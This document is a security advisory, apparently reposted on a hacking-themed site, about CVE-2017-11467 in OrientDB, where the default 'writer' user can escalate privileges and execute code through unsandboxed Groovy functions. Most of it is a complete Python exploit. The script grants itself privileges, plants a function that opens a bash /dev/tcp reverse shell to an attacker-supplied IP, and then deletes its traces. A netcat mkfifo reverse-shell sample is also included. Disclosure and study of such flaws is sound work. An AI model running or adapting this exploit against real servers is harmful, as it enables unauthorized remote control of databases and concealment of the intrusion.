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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
## Vulnerability Summary
The following advisory reports a vulnerability in OrientDB which allows users of the product to cause it to execute code.

OrientDB is a Distributed Graph Database engine with the flexibility of a Document Database all in one product. The first and best scalable, high-performance, operational NoSQL database.

## Credit
An independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
The vendor has released patches to address this vulnerability and issue CVE-2017-11467.
For more information: https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security.

## Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the ‘reader’, but it can also create, update and delete records
ORole structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements, this permission requirement is not required and information is returned to unprivileged users.

Example:


```
select * from <em>oRole</em> order by name;
```

The user writer which is created with every database you create. Thus even if the db admin changes the admin user password, an attacker would still be able to get Code Execution with the writer user.

Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

Sample Groovy function:
Command.md

```
def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081
>/tmp/f'
 File file = new File("hello.sh")
 file.delete()
 file << ("#!/bin/bash\n")
 file << (command)
 def proc = "bash hello.sh".execute()
```

## Proof of Concept
Run Netcat at port 8081

```
nc -lv 8081
```

Run the following:

```
python PoC.py ip [port] // By default uses 2480
```

PoC.py

```
import sys
import requests
import json
import string
import random

target = sys.argv[1]

try:
    port = sys.argv[2] if sys.argv[2] else 2480
except:
    port = 2480

url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)


def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

def enum_databases(target,port="2480"):

    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)

    if req.status_code == 200:
        #print "[+] Database Enumeration successful"
        database = req.json()['databases']

        return database

    return False

def check_version(target,port="2480"):
    base_url = "http://%s:%s/listDatabases"%(target,port)
    req = requests.get(base_url)

    if req.status_code == 200:

        headers = req.headers['server']
        #print headers
        if "2.2" in headers or "3." in headers:
            return True

    return False

def run_queries(permission,db,content=""):

    databases = enum_databases(target)

    url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])

    priv_enable = ["create","read","update","execute","delete"]
    #query = "GRANT create ON database.class.ouser TO writer"

    for priv in priv_enable:

        if permission == "GRANT":
            query = "GRANT %s ON %s TO writer"%(priv,db)
        else:
            query = "REVOKE %s ON %s FROM writer"%(priv,db)
        req = requests.post(url,data=query,auth=('writer','writer'))
        if req.status_code == 200:
            pass
        else:
            if priv == "execute":
                return True
            return False

    print "[+] %s"%(content)
    return True

def priv_escalation(target,port="2480"):

    print "[+] Checking OrientDB Database version is greater than 2.2"

    if check_version(target,port):

        priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
        priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
        priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")

        if priv1 and priv2 and priv3:
            return True

    return False

def exploit(target,port="2480"):

    #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'

    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}

    func_name = random_function_name()

    print func_name

    databases = enum_databases(target)

    reverse_ip = raw_input('Enter the ip to connect back: ')

    query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
    #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a     file.delete()       \u000a     file << (\"#!/bin/bash\")\u000a     file << (command)\n    def proc = \"bash hello.sh\".execute() ","parameters":null}'
    #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
    req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))

    if req.status_code == 201:

        #print req.status_code
        #print req.json()

        func_id = req.json()['@rid'].strip("#")
        #print func_id

        print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)

        req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
        #print req.status_code
        #print req.text

        if req.status_code == 200:
            print "[+] Open netcat at port 8081.."
        else:
            print "[+] Exploitation failed at last step, try running the script again."
            print req.status_code
            print req.text

        #print "[+] Deleting traces.."

        req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
        priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
        priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
        priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")

        #print req.status_code
        #print req.text

def main():

    target = sys.argv[1]
    #port = sys.argv[1] if sys.argv[1] else 2480
    try:
        port = sys.argv[2] if sys.argv[2] else 2480
        #print port
    except:
        port = 2480
    if priv_escalation(target,port):
        exploit(target,port)
    else:
        print "[+] Target not vulnerable"

main()
```